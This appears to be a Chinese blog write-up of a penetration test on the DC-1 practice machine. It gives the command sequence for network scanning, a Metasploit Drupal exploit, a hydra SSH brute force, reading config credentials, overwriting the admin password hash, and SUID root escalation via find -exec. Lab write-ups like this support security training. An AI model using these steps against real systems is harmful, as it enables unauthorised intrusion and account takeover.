DC-1靶机渗透测试

1. 方式一

  1. 使用命令 arp-scan -l 列出当前局域网的所有设备,在DC-1的网络适配器查看到的mac地址和扫描出来的192.168.188.164的MAC地址一致。

     

2. 使用nmap来扫描DC-1

nmap -A 192.168.188.164

从扫描结果可以看到有22和80端口,因为还不知道DC-1所使用的用户,所有还不能爆破ssh,先访问一下80端口网页。

3. 访问到的web界面,发现需要账号密码登录,但是发现了CMS,使用msf的漏洞库搜索一下。

CMS:Drupal是开源CMS之一,Drupal是CMS内容管理系统,并且在世界各地使用,受到高度赞赏,Drupal可以作为开源软件免费使用,就是附带了cms的php开发框架。

Drupal:Drupal是使用PHP编写的流行的开源内容管理系统。

Wappalyzer:是一款浏览器插件,通过 Wappalyzer 可以识别出网站采用了那种 web 技术。它能够检测出 CMS 和电子商务系统、留言板、javascript 框架,主机面板,分析统计工具和其它的一些 web 系统

 4. 在msf漏洞库搜索 Drupal,并攻击

启动msf的数据库

启动方法

第一步: 启动postgresql数据库: service postgresql start;或者/etc/init.d/postgresql start;

 第二步:初始化MSF数据库:msfdb init;

 第三步: 运行msfconsole:msfconsole;

 搜索 search Drupal

 使用第二个漏洞use 2

 使用show missing查看一下必须要设置的选项

需要设置rhosts,rhosts就是设置靶机的IP地址

使用set设置:

set rhosts 192.168.188.164

使用show options 可以查看设置好的信息

 确定设置的信息没问题,输入run开始执行攻击,成功

flag1

ls可以看到第一个flag1.txt

 第一个flag找到

 5. 查看一下靶机的用户,发现有个flag4的用户

cat /etc/passwd

说明:/etc/passwd文件,系统用户配置文件,存储了系统中所有用户的基本信息,并且所有用户都可以对此文件执行读(r)操作。

 6. 使用hydra来爆破密码

hydra -l flag4 -P /usr/share/john/password.lst 192.168.188.164 ssh
  • ssh:指定攻击目标的服务类型为ssh。

 7. 使用ssh连接靶机

命令含义:SSH远程控制服务器作为中介的跳板机,建立本地计算机与特定目标网站之间的加密连接。

flag4

ls,在flag4账户的目录下找到了flag4,可想而知还有在前面还有两个flag,可能在web上,因为web有账号。

 8. 查看一下web的配置文件

cd /		# 进入到根目录下

进入到var/www的目录下

/var/www是Linux操作系统中用于存储Web服务器文件的默认目录。

找到drupal的配置文件是/var/www/sites/default/settings.php

Drupal 中sites/default/settings.php 附带了配置文件。

使用命令查看:cat sites/default/settings.php

配置文件路径百度即可找到

在配置文件中看到了flag2还有数据库的信息

数据库的账号:dbuser 密码: R0ck3t

9. 使用命令连接数据库

mysql -u dbuser -p
  • mysql -u 用户名 -p 是连接数据库服务器的命令。

连接成功

 查看一下数据表

show databses;

 使用数据表use drupaldb;

 查看表的数据show tables;

注意表里的users,使用命令查看:

select * from users;

可以看到管理员admin的账户,但是先要搞hash值

输入quit退出数据库连接

10. 搜索一下passwd

find / -name password*

看到var/www/scripts下有个.sh的脚本。

.sh后缀名的文件被称为脚本Bash的应用程序和使用开发人员文件。 SH文件被称为是创建并保存在Bash的语言,因为它包含的说明都写在该语言。 SH文件可以,如果文本命令shell的命令行界面中键入执行。 SH文件大多是用于程序开发人员,这些文件都是Bash的应用程序非常重要,因为该应用程序主要使用脚本以及命令将被执行,使这个应用程序的工作。

 

 尝试直接执行

 设置新密码,直接在后面加上设置的新密码

scripts/password-hash.sh 123456

得到一个哈希值,将这个哈希值替换到数据库admin得账号下

11. 进入到数据库中然后修改数据库中admin的哈希值

update users set pass='$S$DvaDIRP8Hxz93/2ZLLeQrczm5gK1BR6KrJX2JmOGPB7boVeFE3wa' where name='admin';

修改成功去web界面登录。

flag3

找到flag3

 

 flag3提示,提权并提示 -exec。

12. 提权

find -name flag4.txt -exec /bin/bash -p \;

说明

这个命令是用于在当前目录及其子录中查找名为 "flag4.txt" 的文件,并且在找到每个文件后执行 /bin/bash -p 命令。

每个部分的含义:

  • find:这是一个用于在文件系统中搜索文件和目录的命令。

  • -name flag4.txt:这是 find 命令的选项之一,用于指定要搜索的文件名为 "flag4.txt"。

  • -exec:这也是 find 命令的选项之一,它允许在找到每个文件后执行指定的命令。

  • /bin/bash -p:这是要执行的命令。/bin/bash 是一个常见的 Unix/Linux shell,而 -p 选项表示以特权(即以 root 用户)运行 bash。这将打开一个交互式 shell 环境,具有 root 用户权限。

所以,当该命令找到名为 "flag4.txt" 的文件时,它将执行 /bin/bash -p 命令,从而打开一个特权 shell 环境。

flag5

find -name flag4.txt -exec cat /root/thefinalflag.txt \;

 2. 方式二

使用第一个漏洞进行攻击

 进入后渗透模块 ls 查看 有一个flag1.txt

 使用msf攻击成功后输入shell,可以理解为开启了一个shell环境,也就是开启打命令的窗口。

 在进入durpa配置文件在 settings.php 发现 flag2 和数据库一些信息。

 然后使用netstat -anptl查看3306是否开放,结果只允许本地连接。

 python交互python -c "import pty;pty.spawn(’/bin/bash‘)"

执行该命令的前提得有python

当拿到一个webshell的时候,能够执行一些命令,但是这些命令都是非交互的,也就是说不存在上下文的概念

 然后就可以登录数据库。

修改管理员密码。

scripts目录有password-hash.sh文件,可以用该文件生成自己的密码hash值替换数据库hash。

使用 php scripts/password-hash.sh password生成新密码

 登录到数据库中然后替换原先的密码即可

update drupaldb.users set pass="$S$DVG5qpBNEomk600tFy3tBan2sBb4H.CaigMTAAJ8ByS4HAT4r9x0" where name="admin"; 

登录网页后获取flag3

SUID提权

执行完python交互后输入cat /etc/passwd,发现用户flag4

SUID概念:命令一旦具有了SUID标志,这个命令在执行的过程的会短暂的获得root权限。

使用find命令查找拥有特殊权限SUID的命令:

find / -perm -4000

命令说明:查询拥有SUID权限的命令。

如下命令就是会短暂的获得SUID权限的命令。

find ./ aaa -exec '/bin/sh' \;

输入whoami查看当前登录用户

 获取flag5

  • 13
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

来日可期x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值